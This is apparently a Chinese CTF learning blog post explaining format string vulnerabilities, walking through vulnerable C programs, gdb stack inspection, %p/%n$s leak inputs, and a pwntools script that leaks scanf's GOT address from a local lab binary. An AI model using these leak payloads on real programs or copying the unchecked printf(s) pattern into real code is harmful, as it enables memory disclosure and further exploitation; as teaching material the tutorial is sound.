格式化字串漏洞 format string exploit(一)
本文系原創,轉載請說明出處
本文為基於CTF WIKI的PWN學習
0x00 格式化字串原理
先附一張經典的圖,如下
其棧上佈局如下:
some value |
3.14 |
123456 |
addr of "red" |
addr of format string : " Color %s, Number %d, Float %4.2f" |
如果程式寫成了:
printf("Color %s, Number %d, Float %4.2f");
分別將棧上的三個變數分別解析為:
- 解析其地址對應的字串
- 解析其內容對應的整形值
- 解析其內容對應的浮點值
我們編寫程式驗證以下:
#include <stdio.h> int main() { printf("Color %s, Number %d, Float %4.2f", “red”, 123456, 3.14); printf("Color %s, Number %d, Float %4.2f"); return 0; }
輸入以下命令編譯(記得安裝libc6-dev-i386庫):
gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c
執行結果
gdb除錯一下:
b printf後輸入r執行
可以看到在第一個printf的執行中,stack的引數正如上文所說,先是格式化字串,再是123456(的16進位制),最後是3.14
繼續除錯至第二個printf(一直按n)
stack中我們發現,首先入棧的依舊是格式化字串,但是上面三個引數不再是之前的那幾個了。按照原理,第二次輸出的應該是0xffffcfb4及之後的兩個記憶體對應的內容。下面我們來細緻討論。
0x01 漏洞利用
利用格式化字串漏洞,我們還可以獲取我們所想要輸出的內容。一般會有如下幾種操作
- 洩露棧記憶體
- 獲取某個變數的值 (%s)
- 獲取某個變數對應地址的記憶體 (%p)
- 洩露任意地址記憶體
- 利用 GOT 表得到 libc 函式地址,進而獲取 libc,進而獲取其它 libc 函式地址 (addr%n$s)
- 盲打,dump 整個程式,獲取有用資訊。
一、洩露記憶體
(1)獲取棧變數數值
這裡使用ctf wiki上面的例子:
#include <stdio.h> int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf("%s", s); printf("%08x.%08x.%08x.%s\n", a, b, c, s); printf(s); return 0; }
編譯執行除錯
除錯:
直接轉載(copy)了:可以看出,此時此時已經進入了 printf 函式中,棧中第一個變數為返回地址,第二個變數為格式化字串的地址,第三個變數為 a 的值,第四個變數為 b 的值,第五個變數為 c 的值,第六個變數為我們輸入的格式化字串對應的地址。繼續執行程式,按c
將會把上圖中0xffffcf44及其後面兩個地址包含的內容輸出輸出:
並不是每次得到的結果都一樣 ,棧上的資料會因為每次分配的記憶體頁不同而有所不同,這是因為棧是不對記憶體頁做初始化的。這可以從我上面的幾個截圖結果看出來。
(2)獲取棧指定變數值
可以使用%n$x獲得棧上第n+1個引數,格式化字串是第一個引數,那麼如果想獲得printf的第n個引數,就需要加1.
如,我想獲得第三個引數值f7e946bb,那麼我就輸入%3$x
(3)獲取對應字串:%s
(4)獲取資料:%p
二、獲取任意地址記憶體
上面的洩露並不強力,比賽中經常需要洩露某一個 libc 函式的 got 表內容,從而得到其地址,進而獲取 libc 版本以及其他函式的地址,這時候,能夠完全控制洩露某個指定地址的記憶體就顯得很重要了。
這裡我們再看一遍源程式程式碼:
#include <stdio.h> int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf("%s", s); printf("%08x.%08x.%08x.%s\n", a, b, c, s); printf(s); return 0; }
scanf接收入s的值,然後兩個printf。這裡我們輸入%s,如下除錯,打印出0xff007325, 就是%s對應的字串值,所以,輸出函式的棧分佈,棧上的第一個引數就是格式化字串的地址。
這就意味著格式化字串內容可控,同時,還需要注意的是,第一個引數雖然放置的是格式化字串的地址,但是,輸出函式並沒有在這裡開始呼叫,你也可以從上圖中看到,在0xffffcf50處,又有一個%s,這裡才是呼叫格式化字串的時候,輸出格式化字串表達的內容時刻。這就意味著,因為格式化字串我們可以自己控制,那麼,如果我格式化字串裡面包含了%s,它會輸出%s對應地址(0xff007325)所包含的內容,如果包含scanf@got, 它會輸出scanf@got對應地址包含的內容,也就是scanf的真實地址。
總結:1、格式化字串可以按照自己的意願輸入。2、格式化字串的地址為棧上的第一個引數,順序之後的某個位置會呼叫這個格式化字串,以格式化字串的內容輸出內容。
所以,我們只要知道,呼叫這個格式化字串的位置就可以了。
根據CTF WIKI上的說明方案,我們可以使用下面的字元來確定格式化字串在哪呼叫:
[tag]%p%p%p%p%p%p...
如果輸出棧的內容與我們前面的 tag 重複了,那麼我們就可以有很大把握說明該地址就是格式化字串的地址,之所以說是有很大把握,這是因為不排除棧上有一些臨時變數也是該數值(0x41414141)。如:
AAAA 0XFFD2RC30 0XC2 0XF7E596BB 0X41414141 0X702570250
我們除錯看一下:
我輸入的是AAAA加上8個%p
你會看到,AAAA後面依次輸出8個內容,
第一個輸出AAAA,這本來就是字元,作為一個標誌顯示出來罷了。然後往後,%p開始作用,依次是0xffffcfa0(可以看到格式化字串為第一個引數,%p從格式字串下一個開始),0xc2, 0xf7e946bb這些都是跟著格式化字串後面的引數,之後,便打印出來0xffffcfa0地址對應的內容,即字串。也就是說,其相對printf函式,為第5個引數(第五行),但是相對格式化字串(第一行),是第四個引數。那麼既然是第四個引數,我們使用%4$s看看測試一下。
然後你會發現core dump:
為啥?除錯。
首先,%4$s對應的存放地址為0xffffcfa0, 我們檢視記憶體發現存著的是0x73243425, 再看看0x73243425放著什麼,啥都沒有,那肯定崩潰。
我們輸入%4$s是0x73243425, 我們輸入%5$s是0x732434525,................
那就是說,我們確定了引數為第幾個後,在tag處輸入想要獲得的內容的地址,那麼,輸出的將是輸入的地址對應的內容。
然後使用CTF wiki上payload改改就可以實現獲取scanf的地址:
from pwn import * sh = process('./leakmemory') leakmemory = ELF('./leakmemory') __isoc99_scanf_got = leakmemory.got['__isoc99_scanf'] #獲取got地址 print hex(__isoc99_scanf_got) payload = p32(__isoc99_scanf_got) + '%4$s' #想要輸出的地址加上確定好的引數位置 print payload sh.sendline(payload) sh.recvuntil('%4$s\n') print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址 sh.interactive()